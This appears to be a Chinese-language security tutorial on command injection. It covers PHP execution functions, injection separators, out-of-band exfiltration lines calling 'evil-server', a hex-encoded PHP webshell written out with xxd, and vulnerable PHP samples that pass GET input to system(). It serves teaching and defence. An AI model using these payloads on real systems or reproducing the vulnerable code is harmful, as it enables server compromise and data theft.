常见漏洞之命令注入
命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。
漏洞介绍
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。
漏洞成因
用户可控点可以使用管道符进行命令拼接
参数点的过滤不严格,或者可以被绕过
漏洞危害
继承Web服务器程序的权限,去执行系统命令
继承Web服务器程序的权限,读写文件
反弹shell
写Webshell
控制整个网站
甚至控制整个服务器
相关函数
system() 有回显, 输出并返回最后一行shell结果。
passthru()(有回显),只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
exec() (回显最后一行-必须echo输出)不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
shell_exec() (无回显-必须输出)
反引号:``
popen(handle,mode)(无回显,返回指针,需要将结果存到文件中)不会直接返回执行结果,而是返回一个文件指针
proc_open(‘cmd’,‘flag’,‘flag’)(无回显)不会直接返回执行结果,而是返回一个文件指针。
常见注入方式
- 分号分割
||
&&
&
分割|
管道符\r
%d0%a0
换行- 反引号解析
$()
替换
无回显技
- bash反弹shell
- DNS带外数据
- http带外
curl http://evil-server/$(whoami) wget http://evil-server/$(whoami)
- 无带外时利用
sleep
或其他逻辑构造布尔条件
命令注入绕过
Windows:
WINDOWS:用^转义<,即执行echo^>web可写目录加文件完整名字
LINUX:需要用\来转义<,不过很多PHP都默认开启gpc(魔术引号magic_qutes_gpc())。可以先用16进制转换一句话再用xxd命令把16进制还原。
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可写目录加文件完整名字
管道符说明:
|:管道符,将一个程序的输出作为另一个程序的输入
>:输出重定向,将程序的输出流入到某个程序或者文本中
>>:追加输出重定向,将输出的内容追加到一个文件的末尾
<:输入重定向,将输入的内容重定向到文件或程序中
其他特殊符号:
Windows平台:
| 直接执行后面的语句 ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假 ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami
命令注入漏洞及利用
实例代码:
$arg = $_GET['cmd'];if($arg){ system("$arg");}?>
实例代码:
$ip = $_GET['ip'];if($ip){ system("ping –c 3 $ip");}?>
漏洞危害
继承Web服务器程序的权限,去执行系统命令
继承Web服务器程序的权限,读写文件
反弹shell
写Webshell
控制整个网站
甚至控制整个服务器
